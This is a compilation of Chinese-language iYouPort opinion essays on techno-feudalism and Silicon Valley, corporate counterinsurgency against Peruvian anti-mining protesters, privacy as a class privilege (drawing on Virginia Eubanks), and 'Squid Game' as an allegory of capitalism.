1994年，PFF在亚特兰大召开了一次开创性的会议，最终形成了一本具有开创性的“大宪章”：《网络空间与美国梦：知识时代的大宪章》，1996年克林顿第一任期内出版。

并非偶然的是，《连线》杂志和PFF一样，都在1993年成立，瞬间成为“加州意识形态”的内刊。

在《大宪章》的作者中包括未来学家艾尔文·托夫勒、和里根的前科学顾问乔治·A·凯沃斯二世。早在其他人之前，他们已经在构想“网络空间是一个广布的生物电子环境”。他们的《大宪章》是探索这个新领域的特权路线图。

那些兰迪恩式的英雄

「图」

同样并非偶然的是，这个新疆界的智囊大师是艾因·兰德和她相当原始的“开拓者”与暴民的二分法。兰德宣称，利己主义是善，利他主义是恶，同情心是非理性的。

当涉及到这个新黄金国的新产权时，所有的权力都应该由硅谷的“开拓者”来行使，他们是一群自恋狂纳西索斯，作为优越的兰迪恩英雄。在创新的名义下，他们应该被允许破坏任何既定的规则，在熊彼特式的“创造性破坏”中肆意妄为。

这就导致了我们目前的环境，谷歌、Facebook、Uber 等巨头可以越

过任何法律框架，将他们的创新强加于大众，就像既成事实那样。

在谈到“数字统治”的真谛时，杜兰德一针见血：美国的领导地位从来都不是因为自发的市场力量而取得的。

恰恰相反。硅谷的历史绝对依赖于国家干预—— 尤其是通过军事工业综合体和航空空间综合体。美国宇航局的顶级实验室之一的艾姆斯研究中心就在山景城。斯坦福大学总是获得利润丰厚的军事研究合同。例如，在二战期间，惠普公司由于他们的电子产品被用来制造雷达而蓬勃发展。整个20世纪60年代，美国军方买下了大部分尚在襁褓中的半导体生产。

2016年《麻省理工学院技术评论》与甲骨文“合作”制作的《数据资本的崛起》报告显示，数字网络是如何打开通往一个新的、充满资源的处女地下的通道。“那些先到达并控制了它的人获得了他们所寻求的丰厚资源”—— 以数据的形式。

因此，从视频监控和电子银行到DNA样本和超市票据，一切都意味着某种形式的领土占有。在这里闪耀的是大数据发展中蕴含的榨取主义逻辑的光辉。

杜兰德举了安卓系统的例子来说明榨取主义逻辑的运作。谷歌让安卓系统适用于所有智能手机，这样它就能获得战略性的市场地位，打败苹果生态系统，从而成为几乎整个地球的默认移动互联网入口点。一个事实上的、极具价值的网络资产帝国就是这样建立起来的。

最关键的是，无论最初的企业是什么—— 谷歌、亚马逊、还是Uber，征服网络空间的战略都指向同一个目标：控制数据的“观察和捕捉空间”。

关于中国的信用评分系统 ...

「图」

杜兰德对中国的信用评分系统进行了精细平衡的分析 —— 这是2013年中共十八大三中全会期间推出的公/私监控伙伴关系体系，其口号是“重诚惩不诚”。

对于中国最高政府权力机构 —— 国务院来说，真正重要的是鼓励在金融、经济和社会政治领域被认为是“负责任的行为”，并制裁被认为“不负责任的行为”。这就是信任的问题。北京将其定义为“完善社会

主义市场经济体制，提高社会治理水平的方法”。

中国的术语—— “社会信用”—— 翻译成英语后就完全失去了它本来的意义。比 “social credit” 复杂得多，中文的意思更多的是 “可信赖度”，包括打击欺诈、违反环境规则、不尊重食品安全规范等等，当然，也包括打击政治异议。因为当权者认为这些人 “不可信”。

对社会生活的网络化管理，在中国从20世纪80年代开始就被认真讨论了。事实上，从20世纪40年代开始在毛泽东的《小红书》中就可以看到。可以看作是受到毛泽东所谓的 “群众路线” 原则的启发，如 “从群众中来，到群众中去：把群众的思想（分散的、非系统的）积累起来，集中起来（总体的系统性思想），然后再回到群众中去散发和解释，确保群众吸收并转化为行动，并在群众的行动中验证这些思想的恰当性”。https://wikileaks.org/plusd/cables/10BEIJING167_a.html

杜兰德的分析比 Soshana Zuboff 的分析更进一步

「图」

《监视资本主义时代》这本热门书展示了数字平台如何成为 “封地”：它们在被数据填充的巨大 “数字领地” 中生存，并从中获利，即使它们锁定了被认为不可或缺的服务的权力。

杜兰德的分析比 Soshana Zuboff 的分析更进一步

「图」

《监视资本主义时代》这本热门书展示了数字平台如何成为 “封地”：它们在被数据填充的巨大 “数字领地” 中生存，并从中获利，即使它们锁定了被认为不可或缺的服务的权力。

现在这一封地已经变得非常现实，就在您生活的城市里。在这里看到更多详细解释《订户之城》。

而就像在封建主义中一样，封地通过附庸农奴来统治领地。主人靠剥削领地而获得的社会权力谋生，而这意味着对农奴的无限控制权。

这一切都体现了完全的集中化。硅谷的忠诚信徒彼得·泰尔（**Peter Thiel**）一直强调，数字创业者的目标正是绕过竞争。正如《崩溃了：十年的金融危机如何改变世界》那本书中所引用的那样，泰尔宣称：“资本主义和竞争是对立的。竞争是为失败者准备的。”

所以，现在我们面临的不是单纯的硅谷资本主义和金融资本的冲突，实际上是一种新的生产模式：涡轮资本主义作为食利资本主义的生存方式， 硅谷巨头取代了庄园，也取代了国家。这就是杜兰德定义的“技术封建”。

当布莱克遇见巴勒斯

「图」

杜兰德的这本书极富现实意义，说明了数字时代的理论和政治批判还很稀缺。没有精确地绘制出所有那些可疑的收入提取回路的地图；没有分析它们是如何从金融赌场 —— 尤其是促进超集中的巨型投资基金中获利的；或者说，他们是如何从零工经济对工人的硬性剥削中获利的。

正如杜兰德所回忆的那样，数字土地的全面集中正在导致斯图亚特·密尔（Stuart Mill）已经预见到的一个场景，即：一个国家的每一块土地都属于一个主人。大众对数字主人的普遍依赖似乎是 “算法时代自由主义同类相食的未来”。

有没有可能的出路？也许只能有一种激进的方法—— 布莱克 vs. 巴勒斯的交锋。我们必须扩大理解范围 —— 不要再把地图（如《大宪章》中所示）和领土（我们的认知）混为一谈。

英国诗人威廉·布莱克，在他的前精神病学幻象中，都是关于解放和服从的，他描绘了一个专制的神灵通过某种大众影响的源码强加于人。看起来很像是数字时代的深度分析。美国小说家威廉·巴勒斯将 “控制” 概念化 —— 包括大众媒体在内的一系列操纵（他对社交媒体感到恐惧）。

它指出，要打破控制，我们必须能够入侵并破坏其核心程序。巴勒斯展示了如何拒绝一切形式的控制，并将其击败的思考。

也许这就是我们的未来：成为反叛者 —— 黑客，或顺服者 —— 奴隶。〇

原文

镇压可以激发更多的反抗，但有时却相反，为什么？ - iyouport

社会反抗和思考

【2020年8月25日存档】您可以在文章末尾的链接中下载完整报告，本文只是概述。作者 Michael S. Wilson-Becerril 博士是墨西哥活动家和研究人员，专门研究抵抗运动的政治生态。

> *“We realized the importance of playing the activists at their own game.”*

我记得第一次到达离 Pishtaku 矿山最近的地区。在去那里的路上我一直坐在小型货车的前排位置，并开始司机 Jon 聊天。Jon 是一位本地的年轻司机。

Jon 问我，是什么促使我来到这里的。我回答：“我来这里是为了研究反抗者的策略如何带来冲突升级或如何帮助问题得到解决。”

他告诉我，采矿业发展迅速，该镇的主要河流多年来一直是有毒的。

他说他看过一个视频，一位农民的牛在喝了几天从矿山流出的河水后皮都脱落了。农夫向当局抱怨，但 Jon 回忆说“由于经济实力太弱”最终一无所获。

Jon 相信这就是该镇上发生的事：那里的人曾经是有组织的，他们几乎阻止了该矿的开采业务。但是矿业公司收买了当地反抗者的带头人，将反抗组织撕裂，并对数十人发起了刑事诉讼。

许多当地人受到审判，有些还被判刑。“所以现在已经没有人抱怨了， Jon 告诉我，“人们无法像以前那样做任何事了。人们要么被矿井所收买，要么被定为犯罪那些家伙就是这么干的，他们成功阻止了反抗运动。”

人们普遍怀疑，尽管很难证明，但这些大公司采取的秘密行动是为了

渗透、吸纳和中和反对自然资源开采的当地抵抗运动。

- 关于秘密行动《什么是秘密行动，他们是怎么做的》
- 关于渗透 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》

在最近发表于《抵抗运动研究》杂志上的一项调查中，详述了一个这样的例子，从理论上说明了这些行为如何挑战反抗者，以完善镇压方法，并表明反抗运动研究如何才能揭露这些秘密的公司暴力形式。

镇压有时会激增激进反抗者团体的队伍，激起了支持并扩大了抵抗。但是，它也可能导致社运领袖被孤立，有效地平息或抵消了反抗者的努力。

那么，哪些因素解释了这些不同的结果？

建立可能有助于解决这个难题的理论，研究从来源和目标两方面展示了区分私人和公共镇压的分析。

这份报告借鉴了在秘鲁进行的为期14个月的广泛的民族志研究，在那里大量的采矿冲突在地方、国家和公司参与者之间的关系中产生了不同的模式。

本文将重点讨论与一个特定矿山相关的几轮冲突，该冲突被研究不足，但对于秘鲁的中型到大型矿山很有代表性。

为了保护研究参与者，我给该矿山取名为 Pishtaku（实际上没有采矿公司会选择这样的名字，因为它在盖丘亚语中是吞噬大地的恶魔的意思）。

在偏远的农村地区，该公司面临着大量农民的强烈反对，他们宁可造成财产损失也要抵制该矿的开采。

矿业公司的代理商制定了不同的策略以抵制反抗者，每些镇压策略对当地运动的组织能力和战术都有不同的影响。

这些大公司依靠国家机构来惩罚反抗他们的人，他们自己被认为是或多或少的不露面的人。

但是，他们随后转向了不同的策略：对公司几家本地运营商的坦率采访令人惊讶地发现，他们创建了一个复杂的私人镇压系统，用 “corporate counterinsurgency” 一词能够最准确地描述这种状况。

⚠ 当他们发展出这些阴险的胁迫手段—— 包括间谍、渗透、诽谤、勒索、恐吓和人身暴力—— 并将这些手段用于针对个人而不是更广泛的群体时，他们在孤立运动领导人、播撒不信任和恐惧、遏制公众反对的力量方面最为有效。

在公司和其他冲突领域的各种接触者（包括广大居民、积极分子和矿区支持者）证实了这一鲜为人知的动态的显著性。

⚠ 公司的高层和低层操作人员透露，他们热衷于渗透、监视和陷害对手，污蔑对手腐败、暴力、通奸等等。他们详述了一个半专业性的间谍活动和授权机构的创建，其中包括成立人为的团体，旨在分化 Pishtaku 的反抗者。

以前的研究一直在努力定性镇压，它们提出了这样的证据，即 镇压可以起到反作用并激发更多的抵抗，同时，镇压也可以挫伤反对派的积极性，从而对活动家产生寒蝉效应。有时这两种效应都会发生，并相互抵消。

然而，关于这个问题的绝大多数研究都认为，压制是由国家进行的。但在企业新自由主义和私有化的时代，以国家为中心的观点对镇压的理解日益过时。

此外，这点特别符合自然资源开采冲突中的实际情况，与抵抗外国占领、专制主义等的斗争不同，在这里，国家是次要的代理人，甚至常常是直接干预的旁观者。

在秘鲁，最常见和最致命的冲突类型就是关于采矿项目的冲突，大公司越来越多地依赖公共武装力量和自己的私人保安。

研究发现，强大的开采公司的高需求为国家武装部队的现役和退役人员创造了一个利润丰厚的私人保安合同市场。

此外，该研究报告还对秘鲁和其他国家的相关案件中的相关倾向进行了详细探讨。

在危地马拉，一名前反叛军上校成为了 Tahoe Resources 公司的私人保安队队长，该公司因涉嫌向矿区的和平抗议者开枪而在加拿大受审。

在洪都拉斯，在世界银行支持的阿瓜扎卡大坝的建设中，一些土著反抗领袖被杀，该水坝的所有者是一名前军方情报人员。

在美国，TigerSwan 私人军事情报公司与美国联邦调查局合作，渗透和扼杀了反对达科他输油管道的抗议者。

总之，这些趋势正在以惊人的速度上升。

这些简短的例子已经足够使人们对环保抗议中丧生的人数有了一个惊心动魄的一瞥，这些反抗活动从未如此重要，它们是完全和平的抗议。

抗议者们可以从理解镇压的反效果中获益良多。私有化的镇压形式可能会影响到抵抗运动所采用的力量和战术。

如果今天的镇压已经有别于传统形式，那么，活动家就必须调整自己理解和应对镇压的方式。

此外，将焦点转向像矿业公司这样的强大而又往往无法被接触到的寡头实体的代理机构，将有助于当地人要求问责和伸张正义。〇

Read the full-length article on corporate counter-insurgency at the Pishtaku mine, and subscribe to the Journal of Resistance Studies or ask your affiliated academic institution to order a subscription.

原文

隐私究竟是给谁的？ - iYouPort

免费书和纪录片社会反抗和思考

财富和权力的巨大不平等使公平享受隐私成为不可能。两本新书表明，对于穷人来说，隐私从未被提供过……

在中国采访时一些社会底层的老年人告诉我们，他们不得不安装一款应用程序，并接受其人脸识别验证，因为除非这样，否则他们就无法领取养老金；

IYP的《 中国恐怖故事7：死亡马拉松 》中描述的也是真实的社会，作为社会边缘人士的残疾人为了一年500人民币的所谓补助，被强迫手持身份证拍照，接受各种羞辱性的调查。

当你买不起大house，只能住在墙壁如纸一样薄的公寓楼里时，除了学会低声说话、不放响屁、不做爱之外，有没有感到严重的侵犯和不公平？

「图」

「图」

在自由主义的想象中，政府的监视威胁着每一个人：*无差别*地在所有公众面前徘徊。

反过来，隐私是保护每个人个性的定义，一个公民的自由空间。

“隐私是一种自我的权利，”斯诺登在2016年时说。

那些压制自由讨论的独裁专制国家在独裁时期结束后却发现自己很难向民主结构转变，往往是由于这些国家中还没有出现一个私人化的空间，以及大多数人对隐私问题的了解和重视程度堪忧。《 隐私意识、中国人的态度和通往民主的路障 》

隐私是所有权利的“源头”。如果没有一个超出国家控制范围的“安静的空间，只属于自己的空间”，自由和民主的参与是不可能的 。

以上这些解释都是对的。但是这些解释也忽略了隐私权实际上并不平等 —— 穷人、少数族裔、社会边缘人士，遭受着更多的掠夺和入侵。

对于下层社会而言，隐私 —— 从未被提供过。

在警务的情况下这种现实显而易见。第四修正案 —— 防止无理搜查和扣押的宪法条款 —— 规定：在人们可以合理地预期不被他人听到或看到的地方，个人对抵制国家的眼睛和耳朵（还有鼻子）拥有“合理的隐私期望”。

您在自己家中拥有最多的隐私，在自己的汽车里拥有更少的隐私，而在公共街道上几乎没有。

因此， 那些能够负担得起更多私人空间的人将不可避免地拥有更多隐私 。

但生活在人口密集的社区和墙壁很薄的公寓大楼里的人们，几乎找不到私人空间，他们是在公共场所过着“私人生活”。

无家可归者 —— 他们必然住在公共场所，对他们的临时住所拥有脆弱的财产权利 —— 这样的人几乎没有任何第四修正案权利。

⚠隐私从来不是一种普遍的权利，而是一种阶级特权：保证给那些能够买得起它的人。

当一个中产阶级白人想象隐私侵犯时，他们往往会想到一些令人尴尬的个人信息披露：比如他们的性生活在网上被公开、或者他们的电子邮件地址被泄露在 Ashley Madison 入侵中。

有些人可能会想到被偷窥的“令人毛骨悚然”的感觉。

印第安纳大学法学院教授 James P. Nehf 的文章反映了许多学者的观点，他说：“隐私很少是生死攸关的问题。” 真不愧是知识分子。

但是，要知道， 对于穷人和边缘人士来说，隐私侵犯往往都是生死攸关的问题。

趴在墙上等着被搜身可以很容易地避免被警察射击杀死；顺从于登记处共享所有个人数据可能会避免被逮捕或被驱逐出境。来自社工的审查可以撕裂一个家庭……

在过去几年中，出现了一波新的学术，强调了普遍主义隐私语话的不足。

这些学者说，为了防止有形的监视伤害，公民自由主义者必须关注这一点。

隐私倡导者警告说，反乌托邦社会即将来临 — 除非对国家安全局收集的手机数据或通信的权力有适当的限制。

这都是对的。然而，如果你密切关注社会历史，你会能看清 一种完全不同的隐私图景：它并不像普遍的权利，更像是白人和富人阶层的特权 。

⚠保护一些人免受国家监视的法律从未保护过国家寻求限制和控制的人。

对于穷人和边缘人来说，噩梦般的情景一直都在那。

「图」

「图」

从种植园到监狱，监视和惩罚一直作为社会控制的手段而存在 。

奴隶系统由三种信息技术构成 —— 奴隶通行证、逃亡奴隶海报和奴隶巡逻 —— 它们共同使得庄园主阶级能够施加独裁统治，他们的权力覆盖战前整个南部地区。

种植园帐簿是最原始的生物识别数据库，不仅记录财务，还记录了被奴役人口的身体特征、劳动力和生殖能力 。

种植园的建筑本身就促进了奴隶对监视者的可视性，从大房子的阳台到奴隶宿舍和田地。

这些通过视觉、恐怖和暴力实现的联锁系统，旨在破坏被奴役人民之间的团结，防止离家出走，最重要的是，阻止和平息反抗 。

和如今的大规模监视系统的运作目的一模一样。

在北方城市，阻止犯罪的不是法院，而是警员、值夜班的警卫和监狱长， 他们在选择惩罚手段时获得了广泛的自由 。

他们特别关注那些不守规矩的工人阶级女性，正如 Jen Manion 在她出色的2015年作品《Liberty’s Prisoners: Carceral Culture in Early America》中记载的那些女性，她们“很穷、说话很大声、性感、饮酒、或个性太独立”。

任何对白人异性恋家庭“构成威胁”的人都引起了当局的注意。Manion 写道，到1807年，穷人就像他们因为没有工作或无家可归一样被关押，就像他们的样子本身有罪一样。 贫穷本身就是犯罪 。

Virginia Eubanks 的新书《Automating Inequality: How High-Tech Tools Profile, Police, and Punish the Poor》于今年1月份出版，将这一历史轨迹延伸到了21世纪。您可以 在这里下载这本书 ：https://t.me/iyouport/6667

「图」

「图」

尽管废奴运动、劳工运动、民权运动和女权主义运动，取得了成功，但是， 监狱仍然是穷人的仓库，警察国家仍然主要是调节低阶层的手段，而现代警察的监视仍然是主要针对穷人、有色人种、对抗者和边缘人士 。

Eubanks 是纽约州立大学奥尔巴尼分校政治学副教授，她在全部职业生涯中一直在阐明这个社会提供的惩罚制度是如何针对那些被认为是危险的社会边缘人的穷人。

《自动化不平等》这本书探索了 **19**世纪的实体贫民窟如何被当今的“数字贫民窟”所取代。

在当代福利体系中，穷人的利益价值和他们的所谓犯罪倾向被通过数据挖掘计算机算法来评估，其结果与他们的支持者的希望完全相反 —— 往往会重建和加剧不平等。

Eubanks 探索了三个实验，算法如何正在取代人类或增强人类的决策 —— 印第安纳州的自动医疗补助资格流程、洛杉矶为无家可归者提供的协调准入系统、以及宾夕法尼亚州阿勒格尼县用于评估儿童被虐待和忽视之风险的预测算法。

在这里看到一套 关于算法专制的视频 《 你正在如何被操纵：这是每个人都难以躲避的无形专制 》。

洛杉矶的登记处“被称为无家可归者服务”，本应该以最高效率和精确度向最需要的人分配住房资源，但这是一个蹒跚的市政官僚机构永远无法实现的。

2016年8月推出的 Allegheny 家庭筛查工具（AFST）旨在消除导致社会工作者过度报告非白人家庭的人为偏见，因为虐待风险 —— 并忽视了其他地方滥用的迹象。

然而，在实践中， 自动化系统依赖于大量收集关于福利受益者生活的更加私密的细节 ，对他们的创伤、应对机制、和恐惧进行编目分类和排序。

从申请的那一刻起，福利申请人就发现自己陷入了严密的监视网络，受到持续的审查，推定有罪，侵入性审讯，强制他们的生育选择，以及侵犯他们的身体和决定自治权。

声称“防止欺诈、节省纳税人的钱和保护儿童”， 国家迫使贫困家庭扒光自己的一切，审问他们的每一次购买，每一个做父母的决定，每一种关系……

「图」

「图」

自动化破坏了正当程序，却未能解决贫困的根本原因 。这些系统收集并生成的是 —— ⚠证明现状合理、并将绝望定为犯罪的数据。

Allegheny 算法将公共服务本身的使用视为儿童的风险……

洛杉矶的无家可归者面临着类似的诡异选择。为了获得住房资源，洛杉矶无家可归的男女必须填写“脆弱性指数”调查。

⚠该调查征求了一系列个人信息：社会安全号码、全名、出生日期、人口统计信息、退伍军人身份、移民和居住证明，以及在一天中的不同时间可以找到被访者的地点 ……也就是要确认实时跟踪路径。

它还询问有关申请人在家庭暴力、性侵犯、自我伤害、吸毒、性工作和心理健康等方面的经历的私密问题。

Eubanks 发现，在入境调查中承认“有风险、甚至有非法行为”，可以“在永久支持性住房的优先名单上获得更高的排名”。但是，这样也让你更容易受到警察的攻击。

洛杉矶登记处的自我报告数据可在没有手令、没有部门监督、或没有任何形式的司法审查的情况下提供给洛杉矶警察局。

最重要的是，Eubanks 证明， 增加的数字审查和自动化进一步将穷人与富人区分开来，破坏了促进同理心的亲密互动 —— 团结一致更无从谈起 。

Eubanks 写道，“就像早期的贫困管理技术创新一样，数字跟踪和自动化决策使贫困问题对中产阶级公众隐藏起来了，并为国家提供了做出不人道选择所需的道德距离。”

数字贫民窟将正义问题重新定义为效率问题。算法对个人进行评分，决定如何分配稀缺资源，但这样做反而具体化了稀缺问题。

加州大学洛杉矶分校法学教授 Gary Blasi 写道： 与以往的县级贫民窟一样，自动化是管理穷人的一种手段，⚠“这样一来我们就不必消除贫困了。”

「图」

「图」

Eubanks 的书是对社会问题数字化的尖锐反驳，这种问题代表了新自由主义的福利方法。

通常情况下，Eubanks 观察到，有关穷人的故事只有两部分，要么“‘你应该为穷人感到难过’、或者’你不应该难过’。”

对于 Eubank 来说， 打破自建国以来持续存在的贫困道德神话，对于纠正数字贫民窟的错误来说至关重要。

⚠贫困一直被认为“主要是道德缺失的后果”，这种神话使中产阶级的良知得到了安抚，证明了他们生活中永久性的极权主义监视制度的合理性。

Eubank 只是拒绝那些关于隐私和监视的主流叙述的学者之一。事实上，正如她和其他学者所表明的那样，隐私的法律制度从未打算首先保护他们。

波士顿大学法律学者 Khiara Bridges 在其2016年出版的“隐私权的贫困”一书中记录了申请福利的女性几乎在生活的各个方面都被剥夺了空间、决策权和信息隐私权。

他们受到的侵略、有时是重新创伤以及质疑，是获得福利的先决条件。国家干涉她们生活中最私密的决定：迫使妇女分娩和终止怀孕，违背她们的意愿。

法院一直坚持无证搜查福利受助人的住所合法 —— 这可是第四修正案原则中最神圣的地方 —— 只要声称是搜寻欺诈证据。

当然你可以拒绝被搜查，但也因此相当于拒绝了福利。

正如法律学者 Chris Slobogin 所指出的那样， 那些涉嫌税务欺诈的人（对纳税人最严重的罪行）一直享受着第四修正案的全面保护，而那些涉嫌福利欺诈的人则没有得到任何保护。

政府使用的借口只有“防欺诈和保护贫困儿童”。但是 政府也拒绝做出所有人都知道的会对贫困儿童的安全和健康实现最大贡献的事：让他们的家庭摆脱更穷。

国家对公共利益的吝啬态度与其保护贫困儿童的承诺完全矛盾。并且，惩罚性福利国家试图“纠正”贫穷母亲的不良行为 —— 他们的道德缺陷被认为是他们的贫困原因 —— 同时拒绝为贫困儿童提供服务。

消除福利制度中更多惩罚性、可疑性和侮辱性方面的最佳方法应该是，完全放弃经济情况调查的过程。取而代之的是，拥有普遍的基本收入或普遍的子女津贴制度。

普遍的好处是减轻了对持久状态审查和侵入式数据收集的需求 —— 因为每个人都可以随意获取这份福利。

当每个家庭都获得现金福利时，很难再将黑人母亲作为替罪羊和妖魔化 — 这是反福利言论的一个持久主题。

富裕的白人最好放弃对隐私权是普遍享有的理解 — 认为其不受历史、权力、强迫的影响。这与那些忍受监视最严重后果的人所承受饿现实几乎没有相似之处。

正如 Brandeis 和 Warren 在其1890年对法定隐私的阐述中所解释的那样，“to be let alone” 的权利对那些经济环境需要相互依赖才能生活的人来说几乎没用。如果你没有家，那么“家就是人的城堡”的普通法原则就毫无价值。

相信隐私是一项基本权利 —— 人类尊严、自治和自决的保障 —— 的

人们，也应该倡导政策来纠正财富和权力的巨大不平等， 这种不平等使公平享受隐私成为不可能 。〇

Privacy for Whom?

原文

鱿鱼游戏，资本主义的游戏 - iyouport

社会反抗和思考

《鱿鱼游戏》这部剧集的推出时段非常重要。您可能很快就会知道为什么。

近日，悉尼一所小学已要求家长确保他们的孩子不要观看 Netflix 热门剧集《鱿鱼游戏》。

并且，澳洲、美国、英国、亚洲和欧洲的学校也纷纷对这部韩国电视节目发出了类似警告。

为什么会这样？这究竟是一部什么样的电视剧？

一个社会声称“每个人都是平等的，每个人都有公平的机会”，但同时又以历史上从未有过的方式泛滥着残酷和破坏，你会怎么称呼这个社会？

新的韩国剧集《鱿鱼游戏》以抽象的方式模拟了这种社会状况。它描述了这样一个场景：负债累累的人们被迫去玩一系列的游戏，如果他们晋级，就有可能赢得巨额奖金；如果他们输了，就会死。

由黄东赫编剧和导演的韩国剧集《鱿鱼游戏》已成为一种国际现象。本月中，Netflix 报告说，该剧已正式成为该平台上有史以来观看人数最多的剧集，全球观众超过1.11亿人。它目前在至少90个国家是 Netflix 的头牌节目 —— 从阿根廷到澳大利亚，到埃及、尼日利亚、巴基斯坦和美国。

《鱿鱼游戏》这部剧是对资本主义基本情况的最佳美学描述之一：它揭示了资本主义产生的破坏性社会结构，特别是掩盖在它轻薄外衣下的最深刻的野蛮性。

编剧兼导演黄东赫最近在接受 IndieWire 采访时解释了他创作该剧集的动机：“我在2008年就构思了这个节目的理论。当时，发生了雷曼兄弟危机；韩国经济受到严重影响，我个人也在经济上挣扎”。

他继续说，“在过去的10年里，有很多问题。有加密货币的热潮，世界各地的人，特别是韩国的年轻人，会全力以赴，把所有的钱都投资到加密货币上。还有像 Facebook、谷歌这样的IT巨头的崛起，在韩国，还有Naver，它们只是在重组我们的生活。这可能是创新，但是，这些IT巨头也因此变得非常富有”。

不过，黄东赫补充说，是美国的特朗普当选促使他将该剧投入制作的：“我认为他[特朗普]有点像《鱿鱼游戏》中的一个VIP贵宾，这几乎就像他在管理一个游戏节目，而不是一个国家，给人们带来的恐怖”。

- 请不要错过我们今日同时发布的另一篇文章《大崩溃 —— 从中国的恒大地产开始》；您会知道，为什么我们说《鱿鱼游戏》这部剧集的推出时段非常重要。

该系列作品来自韩国，这个国家最近经历了资本主义发展的最纯粹、最野蛮的版本，这并不奇怪。

《鱿鱼游戏》是韩国出现的诸多有意义的电影和作品中的一部，具有左翼和反资本主义的特点，当然，这部剧集也说明了这个国家的社会灾难。

作为“亚洲四小龙”之一，韩国经济的发展为该国和国际上的统治精英带来了财富。而另一方面，工人阶级却在随后的经济危机中首先遭受到最大的悲剧，先是在1997-98年，后是在2008年的金融危机后。

今天，韩国的最高年工作时间排名全球第三，截至2015年，在经合组织（OECD）成员国中，韩国的工作场所死亡人数排名第三。所有工人中超过40%被认为是“非正式工人”。与其他国家一样，这些非正式工人中的许多人在零工经济中工作，受制于科技巨头的应用程序。

由于经济和社会被称为财阀的企业集团所主导，韩国人面临着越来越暗淡的前景。2016年，前10%的收入者占据了总收入的45%，房地产投机导致了住房危机，教育和医疗的私有化正在扩大差距。随着韩国经受着COVID-19对全球经济影响的打击，这些危机只会更加尖锐。

在三星、现代或LG这样的大企业以闪亮的电子产品和汽车而闻名的背后，隐藏着无数的剥削故事。今年早些时候，**LG**双塔大厦（该公司的摩天大楼总部）的清洁人员在最寒冷的冬季在公司大楼外露营**136**天，以抗议裁员和剥削性的工作条件。而**LG**雇佣了一群打手，在工人睡觉时向他们的帐篷里倒水。一名工人感叹道：“我们做错了什么？

你能想象吗，这个巨大的企业集团在淹没你的床，你能睡得着吗？”

剥削和不安全的条件在各个行业都是一致的。韩国煤炭公司是一家政府拥有的煤矿公司，该公司的煤矿工人因吸入煤尘和过度劳作而出现健康问题。一位煤矿工人讲述了非正式工人的困境：“政府把劳动力减少了一半，所以我们一个单位现在不得不做两个单位的工作。结果就是，每个人都在生病。这里没有人不生病。我们的工资需要增加，但却保持不变。我们的工作与正式工人一样，但我们甚至没有得到一半的工资。”

韩国是世界上自杀率最高的国家之一，特别是老年群体。2020年年轻人的失业率达到了惊人的22%。家庭债务超过1800万亿韩元（1.5万亿美元），现在已经超过了该国的年度经济产出。韩国工人有自己独特的历史，其中包括独裁统治、战争、政府镇压（光州大屠杀是最突出的例子）。

在一集中，主人公吉勋在被雇后遇到了经济问题。在一个闪回中，观众看到镇压当局破门而入，残忍地攻击罢工工人，至少杀死一人。黄东赫曾说，这个角色的灵感来自2009年双龙汽车厂大罢工。

纳入这一情节显然是一个有意识的决定，灵感来自于韩国工人斗争的勇敢和决心，剧中还有很多这样的细节。

但是，《鱿鱼游戏》最有力地表达的方面并不是韩国工人故事的独特性，而是**全世界工人阶级的生活和状况的共性**。

该剧主角的母亲有一次被迫进入医院，她清楚地知道自己很可能会死。她违背医生的指示离开了医院，因为她知道自己无力支付与治疗有关的费用 …… 人们不需要生活在韩国就能认识到这种情况 —— 难道中国没有看病贵看病难的问题吗？世界上有多少亿工人在为负担医疗费用而挣扎？

节目中的每一位参与者都陷入了财务困境，无论他们如何努力或愿意牺牲什么，都没有办法摆脱困境。没有什么感觉能比这更具亲和力的了，而且在工人阶级中几乎是普遍的。

在美国，未偿还的学生贷款债务在9020亿美元和1万亿美元之间。许多工人死后都没有能还清所有的贷款。有偿血浆捐赠从2006年的1200万/年增加到2016年的3800万/年。也就是说，特别是年轻人为了支付账单，采取了卖血的方式，这个过程对献血者的健康造成了严重的影响，特别是对于长期、重复的献血者。

毫无疑问，这些主题是工人们的共鸣，无论任何民族或国家背景、无论任何性别或种族。在全球化时代，工人们比以往任何时候都更容易看到他们的经历和它们遭受的剥削与该剧故事的相似之处。也许在过去的一年半里，这一点是最清楚不过的了，整个世界正蹒跚地经历着一场大流行病，它以这样或那样的形式影响着地球上的每一个人。

该系列剧中出现的“更新版”游戏也与现代团队体育运动有很多共同之处，几乎所有的运动—— 足球、美式橄榄球、篮球和棒球等 ——都诞生于十九世纪的工业资本主义时代。这些比赛的非凡之处不是比赛本身，而是其规则。

公平竞争和平等竞争的概念都属于这个以规则为基础的互动新世界，反映了资本主义典型的新的社会状况，其中出生身份、地位和种姓原则上不影响一个人在社会上的地位。这与资本主义之前的封建社会、附庸国和奴隶制社会有很大不同。

不用说，一个正式的“平等的竞争环境”（无论是在该剧集中还是在体育运动中）并不能保证一个公平的结果。似乎是为了强调团队运动和资本主义之间的相似之处，今天获胜的运动队，都是价值数十亿美元的产业，通常是那些拥有最多资金的球队。国家报的体育编辑大卫·齐林雄辩地表达了抽象的公平规则与不公平的具体现实之间的矛盾，他说：体育是建立在包容的神话和排斥的现实之上的。

资本主义也是如此。

资本主义从欧洲传播到世界各地，许多资本主义的文化，包括现代体育，也随之而来。韩国经历了近代以来最快速的资本主义发展进程之一，在短短半个世纪的时间里，从一个落后的国家变成了一个世界级领袖。一场残酷战争使500多万人丧生，为资本主义行为的关键原则提供了一个训练场 —— 即：没有人会帮助你，输了就是死。

这场比赛是为了娱乐一群“贵宾”。随着倒数第二场比赛的临近，这些贵宾们来到偏远的小岛上，亲自见证了比赛的高潮。

《鱿鱼游戏》被广泛描述为资本主义的寓言，但这些带着面具的贵宾表明它指的是某一特定时刻的某种资本主义。贵宾们所代表的人不仅仅是侵占我们劳动剩余价值的资本家；他们是虐待狂，在一个完全霸权的全球体系下实施暴行 —— 资本主义如此自信，对挑战如此免疫，以至于它不再需要伪装。游戏可能是一个秘密，但外部世界的同等残暴性却不是。

富人（VIP观众）被描绘成动物，他们戴着水牛、熊、猫头鹰和狮子的面具。更重要的是，他们被单纯的食欲和对血腥厮杀的饥渴所驱动。这也是资本主义的真实情况。动物的本能被提升到指导原则的层面，而理性的规划、感情和关怀必须退居其次。富人既没有真正的自由，也没有完全的人性—— 毕竟他们必须追求利润，否则就会沉沦，失去阶级地位。

